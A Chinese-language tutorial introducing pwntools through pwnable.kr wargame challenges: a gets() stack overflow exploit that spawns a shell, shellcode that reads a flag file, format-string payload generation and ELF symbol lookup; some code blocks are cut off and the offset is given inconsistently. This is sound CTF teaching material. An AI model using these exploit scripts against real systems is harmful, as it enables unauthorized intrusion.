pwntools
pwntools是一个二进制利用框架。(别问我为什么转pwn,web打不下去了好吧)可以方便有效的帮助我们编写exp。
Pwntools的“Hello World”
栈溢出无疑是二进制攻击的“Hello World”。这里,我们用pwnable.kr的bof来进行展示。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}pwntools脚本:
1
2
3
4from pwn import *
c = remote("pwnable.kr", 9000)
c.sendline("AAAA" * 13 + p32(0xcafebabe))
c.interactive()
源码简洁明了,我们只需要将key改写成0xcafebabe。
现在我们重新看回pwntools脚本。第一行将pwntools提供的工具引入到我们的python上下文中。
remote("一个域名或者ip地址", 端口)
会连接到我们指定的地址及端口。 然后该函数会返回remote对象 (这里,我们将该对象保存到了变量 c). remote对象主要用来进行对远程主机的输入输出. 它有如下几个方法:
send(payload)
发送payloadsendline(payload)
发送payload,并进行换行(末尾\n)sendafter(some_string, payload)
接收到 some_string 后, 发送你的 payloadrecvn(N)
接受 N(数字) 字符recvline()
接收一行输出recvlines(N)
接收 N(数字) 行输出recvuntil(some_string)
接收到 some_string 为止
在第三行中,p32()
可以让我们转换整数到小端序格式.p32
转换4字节.p64
和p16
则分别转换 8 bit 和 2 bit 数字.c.sendline
将我们的payload发送到远程主机."AAAA" * 14
是我们到key的偏移量. Pwntools 不能自动运算偏移量,用户需要自行计算。shellcode的编写
下一题是pwnable.kr的asm. 你需要用 ssh -p2222 asm@pwnable.kr 并输入密码 guest 来查看可执行文件和源码. 这里,我们只展示利用代码:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16from pwn import *
p = process("./asm")
context.log_level = 'DEBUG'
gdb.attach(p)
context(arch='amd64', os='linux')
shellcode = shellcraft.amd64.pushstr("this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong")
shellcode += shellcraft.amd64.linux.open('rsp',0,0)
shellcode += shellcraft.amd64.linux.read('rax','rsp',0)
shellcode += shellcraft.amd64.linux.write(1, 'rsp', 100)
p.recvuntil('shellcode: ')
p.send(asm(shellcode))
log.success(p.recvall())
我们这里用到了新的api: process()
, contex.log_level
, gdb.attach
, 和 shellcraft
.
提醒一下,如果你想在命令行中使用gdb.attach()
, 便需要安装并运行 tmux.process
和 remote
类似. remote 连接远程主机, process 则通过你声明的二进制文件路径在本地创建新的进程. 除了 I/O, process 返回的对象可以通过 gdb.attach(p) 将进程attach到gdb上. Attach 之后, gdb 便可以调试该程序来 (设置 breakpoints, 查看 stack, 以及简单的反汇编).
shellcraft 是一个帮忙生成shellcode的类. 在我们的例子中, 我们 open 了一个文件并 read 文件到 stdout.
格式化漏洞自动化
我没有找到一个比较容易做的格式化漏洞题目,所以干脆用了官方文档的例子:
1 | from pwn import * |
有了 FmtStr
, 我们不用算偏移量算到疯. 我们需要先构造一个可以接收我们输入并返回格式化字符串输出的函数. 接着,我们可以得到 autofmt
. 这个对象包含 offset
, 即算好的偏移量. fmtstr_payload(offset, {address: value})
帮我们生成最后的payload. 第一个参数 offset
用 autofmt.offset
算好的即可. 然后, 我们需要声明 {address: value}
来覆盖address的内容成对应的value. 我们还可以同时改写多个地址:{address1: value1, address2:value2,..., address: valueN}
.
有些情况不能自动生成payload. 以下文档介绍了如何手动生成payload .
http://docs.pwntools.com/en/stable/fmtstr.html#pwnlib.fmtstr.fmtstr_payload
使用 ELF()
有些题目给了我们libc. 用 gdb> x function1 — function2
算偏移量太麻烦了, 因此有了 ELF
.
1 | from pwn import * |
和 process() 一样, 我们只用将路径给 ELF(path) 即可分析 ELF.
我们有以下几种方法操纵ELF:
- symbols[‘a_function’] 找到 a_function 的地址
- got[‘a_function’] 找到 a_function的 got
- plt[‘a_function’] 找到 a_function 的 plt
- next(e.search(“some_characters”)) 找到包含 some_characters(字符串,汇编代码或者某个数值)的地址.